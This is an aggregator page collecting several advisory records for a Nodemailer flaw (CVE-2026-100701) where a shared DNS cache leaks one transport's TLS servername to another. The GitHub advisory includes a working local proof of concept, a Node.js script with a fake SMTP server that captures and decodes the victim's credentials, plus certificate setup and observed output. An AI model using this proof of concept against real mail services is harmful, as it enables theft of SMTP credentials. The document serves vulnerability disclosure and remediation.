Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 03:25 UTC Customize Public modeDiscuss ChangeIntel on Discord

Nodemailer 5.0.0 through 10.0.1 TLS servername Cache Confusion

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-100701

Published

Nodemailer versions 5.0.0 through 10.0.1 use a process-global DNS cache that is keyed only by the DNS host, while each cache entry also stores the caller-specific TLS servername. When two direct TLS/SMTPS transports (secure: true) resolve the same non-IP host with different tls.servername values, the first transport's servername is returned on the cache hit and overwrites the second transport's explicitly configured value, so Nodemailer sends the wrong SNI value and validates the peer certificate against the wrong identity. In multi-tenant services or SNI-routed SMTP gateways, an attacker who can prime the cache can cause a victim transport to connect to the attacker's TLS virtual host and accept the attacker's certificate even with rejectUnauthorized: true, disclosing the victim's SMTP credentials. Fixed in 10.0.2.

Source published
26 Sep 2026 13:23:57 UTC
Source modified
26 Sep 2026 23:11:37 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

euvd · EUVD-2026-87674

Published

Nodemailer versions 5.0.0 through 10.0.1 use a process-global DNS cache that is keyed only by the DNS host, while each cache entry also stores the caller-specific TLS servername. When two direct TLS/SMTPS transports (secure: true) resolve the same non-IP host with different tls.servername values, the first transport's servername is returned on the cache hit and overwrites the second transport's explicitly configured value, so Nodemailer sends the wrong SNI value and validates the peer certificate against the wrong identity. In multi-tenant services or SNI-routed SMTP gateways, an attacker who can prime the cache can cause a victim transport to connect to the attacker's TLS virtual host and accept the attacker's certificate even with rejectUnauthorized: true, disclosing the victim's SMTP credentials. Fixed in 10.0.2.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 26, 2026, 1:23:57 PM

dateUpdated: Sep 26, 2026, 11:11:37 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-4410: IBM App Connect Enterprise: Mehrere Schwachstellen

CVE-2026-100699 · CVE-2026-100700 · CVE-2026-100701 · CVE-2026-100702 · CVE-2026-101898 · CVE-2026-101900 · CVE-2026-101901 · CVE-2026-101902 · CVE-2026-101903 · CVE-2026-101904 · CVE-2026-101905 · CVE-2026-101906 · CVE-2026-101907 · CVE-2026-101908 · CVE-2026-101909 · CVE-2026-101915 · CVE-2026-101916 · CVE-2026-104850 · CVE-2026-106444 · CVE-2026-106445 · CVE-2026-106446 · CVE-2026-110869 · CVE-2026-111767 · CVE-2026-15187 · CVE-2026-33937 · CVE-2026-83745 · CVE-2026-84003 · CVE-2026-86535 · CVE-2026-90776 · CVE-2026-91863 · CVE-2026-91864 · CVE-2026-91865 · CVE-2026-91866 · CVE-2026-91867 · CVE-2026-93687 · CVE-2026-93749 · CVE-2026-94645 · CVE-2026-94646 · CVE-2026-96294

Source published
Sep 26, 2026, 1:23:57 PM (timezone not stated)
Source modified
Sep 26, 2026, 11:11:37 PM (timezone not stated)
Observed here
11 Nov 2026 05:27:40 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-100701

Published

Nodemailer versions 5.0.0 through 10.0.1 use a process-global DNS cache that is keyed only by the DNS host, while each cache entry also stores the caller-specific TLS servername. When two direct TLS/SMTPS transports (secure: true) resolve the same non-IP host with different tls.servername values, the first transport's servername is returned on the cache hit and overwrites the second transport's explicitly configured value, so Nodemailer sends the wrong SNI value and validates the peer certificate against the wrong identity. In multi-tenant services or SNI-routed SMTP gateways, an attacker who can prime the cache can cause a victim transport to connect to the attacker's TLS virtual host and accept the attacker's certificate even with rejectUnauthorized: true, disclosing the victim's SMTP credentials. Fixed in 10.0.2.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Awaiting Analysis

Weakness classifications: CWE-295

Original publisher date fields

published: 2026-09-26T14:16:55.143

lastModified: 2026-09-30T16:32:17.940

Source published
26 Sep 2026 14:16:55 UTC
Source modified
30 Sep 2026 16:32:17 UTC
Observed here
25 Oct 2026 04:17:26 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

osv · GHSA-6vj9-mwq6-2f5v

Published

### Summary Nodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value. As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it. ## Affected component - **Ecosystem:** npm - **Package:** `nodemailer` - **Repository:** https://github.com/nodemailer/nodemailer - **Tested version:** `10.0.1` - **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2` - **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1` - **Affected versions:** `>= 5.0.0, <= 10.0.1` - **Patched versions:** None known at the time of this report - **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values The vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`. ## Details ### Root cause `src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host: ```ts export const dnsCache = new Map<string, DnsCacheEntry>(); ``` Although the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity: ```ts const value: DnsCacheValue = { addresses: allAddresses, servername: options.servername || host }; dnsCache.set(host, { value, expires: Date.now() + (options.dnsTtl || DNS_TTL) }); ``` On a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`: ```ts if (!cached.expires || cached.expires >= now) { return callback( null, formatDNSValue(cached.value, { cached: true }) ); } ``` `formatDNSValue()` copies that stale value into the result: ```ts return Object.assign( { servername: value.servername, host, _addresses: addresses }, extra || {} ); ``` For a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`: ```ts Object.assign(opts, this.options.tls || {}); if (this.servername && !opts.servername) { opts.servername = this.servername; } return this._resolveAndConnect(opts, resolved => { this._connectToHost(opts, this.secureConnection); }); ``` ```ts for (const key of Object.keys(resolved!)) { if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) { (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key]; } } ``` The resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport. The default DNS cache TTL is five minutes: ```ts const DNS_TTL = 5 * 60 * 1000; ``` ### Code path ```text Tenant A: createTransport({ host: H, secure: true, tls: { servername: attackerName } }) -> SMTPConnection.connect() -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: attackerName }) -> dnsCache.set(H, { addresses, servername: attackerName }) Victim: createTransport({ host: H, secure: true, tls: { servername: victimName } }) -> SMTPConnection.connect() -> opts.servername = victimName -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: victimName }) -> dnsCache.get(H) -> returns cached servername = attackerName -> _resolveAndConnect overwrites opts.servername -> tls.connect({ servername: attackerName }) -> attacker SNI virtual host and certificate are selected -> AUTH transmits victim SMTP credentials ``` ### Relevant source locations in the tested revision - `src/shared/index.ts:184` — five-minute default cache TTL - `src/shared/index.ts:245` — process-global cache keyed by host - `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()` - `src/shared/index.ts:292-323` — host-only lookup and cache-hit return - `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache - `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call - `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options ## PoC ### Prerequisites - Node.js 20 (tested with Node.js `20.20.2`) - A checkout/build of Nodemailer `10.0.1` - OpenSSL to generate the local test certificate No external SMTP server or network access is required. ### 1. Generate a certificate for only `attacker.test` Create `openssl.cnf`: ```ini [req] distinguished_name = dn x509_extensions = ext prompt = no [dn] CN = attacker.test [ext] subjectAltName = DNS:attacker.test basicConstraints = critical,CA:TRUE keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign extendedKeyUsage = serverAuth ``` Generate the certificate and private key: ```bash openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf ``` ### 2. Save the following as `poc-dns-cache-servername-confusion.mjs` Adjust the two import paths if the PoC is not saved beside the repository checkout. ```js import fs from 'node:fs'; import tls from 'node:tls'; import nodemailer from '../../nodemailer/dist/esm/nodemailer.js'; import * as shared from '../../nodemailer/dist/esm/shared/index.js'; const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url)); const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url)); const observedSni = []; const observedAuth = []; const server = tls.createServer({ key, cert }, socket => { observedSni.push(socket.servername); socket.write('220 attacker.test ESMTP\r\n'); let input = ''; socket.on('data', chunk => { input += chunk.toString(); let end; while ((end = input.indexOf('\r\n')) >= 0) { const line = input.slice(0, end); input = input.slice(end + 2); if (/^EHLO /i.test(line)) { socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n'); } else if (/^AUTH /i.test(line)) { observedAuth.push(line); socket.write('235 2.7.0 Authentication successful\r\n'); } else if (/^QUIT/i.test(line)) { socket.end('221 Bye\r\n'); } else { socket.write('250 OK\r\n'); } } }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); try { shared.dnsCache.clear(); // Tenant A seeds the process-global cache for the shared DNS host. const attackerTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: '[email protected]', pass: 'attacker-secret' }, tls: { ca: cert, servername: 'attacker.test', rejectUnauthorized: true } }); await attackerTransport.verify(); attackerTransport.close(); // The victim explicitly configures a different TLS identity. const victimTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: '[email protected]', pass: 'victim-secret' }, tls: { ca: cert, servername: 'victim.test', rejectUnauthorized: true } }); await victimTransport.verify(); victimTransport.close(); const decoded = observedAuth.map(line => line.startsWith('AUTH PLAIN ') ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString() : null ); console.log(JSON.stringify({ attackerConfiguredServername: 'attacker.test', victimConfiguredServername: 'victim.test', serverObservedSniForBothConnections: observedSni, serverReceivedCredentials: decoded }, null, 2)); } finally { shared.dnsCache.clear(); await new Promise(resolve => server.close(resolve)); } ``` ### 3. Build and run From the Nodemailer checkout: ```bash npm install npm run build node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs ``` ### Observed result ```json { "attackerConfiguredServername": "attacker.test", "victimConfiguredServername": "victim.test", "serverObservedSniForBothConnections": [ "attacker.test", "attacker.test" ], "serverReceivedCredentials": [ "\\[email protected]\\u0000attacker-secret", "\\[email protected]\\u0000victim-secret" ] } ``` The victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim's username and password. ### Expected result The second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`. ## Impact The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname. An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's `tls.servername`. During the cache lifetime, a victim's direct SMTPS connection to that host can: 1. send the attacker's server name as SNI; 2. be routed to the attacker's TLS virtual host; 3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and 4. transmit the victim's SMTP username and password to that endpoint. Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider. Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact. ### Preconditions and limitations - Two transports must execute in the same Node.js process within the cache lifetime. - They must use the same non-IP `host` cache key and different `tls.servername` values. - Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name. - The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report. ## Suggested remediation The DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname. One approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path: ```ts return { host: selectedAddress, servername: options.servername || options.host || false, _addresses: addresses, cached: true }; ``` As defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation. A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Source published
28 Sep 2026 21:56:05 UTC
Source modified
28 Sep 2026 22:00:08 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 03:25 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current